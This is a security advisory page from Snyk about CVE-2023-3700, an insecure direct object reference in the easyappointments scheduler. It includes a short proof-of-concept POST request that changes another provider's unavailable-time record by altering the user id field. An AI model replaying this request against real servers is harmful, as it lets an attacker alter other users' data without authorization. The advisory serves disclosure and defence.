Access Control Bypass Affecting alextselegidis/easyappointments package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (26th percentile)

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  • Snyk IDSNYK-PHP-ALEXTSELEGIDISEASYAPPOINTMENTS-5777727
  • published17 Jul 2023
  • disclosed17 Jul 2023
  • creditlujiefsi

Introduced: 17 Jul 2023

CVE-2023-3700  (opens in a new tab)
CWE-284  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

alextselegidis/easyappointments is a powerful Open Source Appointment Scheduler that can be installed on your server.

Affected versions of this package are vulnerable to Access Control Bypass due to Insecure Direct Object Reference, which can allow an attack to perform actions on another user's behalf.

PoC

POST /index.php/backend_api/ajax_save_unavailable HTTP/1.1
.....
csrfToken=d0a4805b08a205bfd5cf112137b21585&unavailable=%7B%22start_datetime%22%3A%222023-06-07+01%3A45%22%2C%22end_datetime%22%3A%222023-06-07+02%3A45%22%2C%22notes%22%3A%22%22%2C%22id_users_provider%22%3A%229%22%7D

CVSS Scores

version 3.1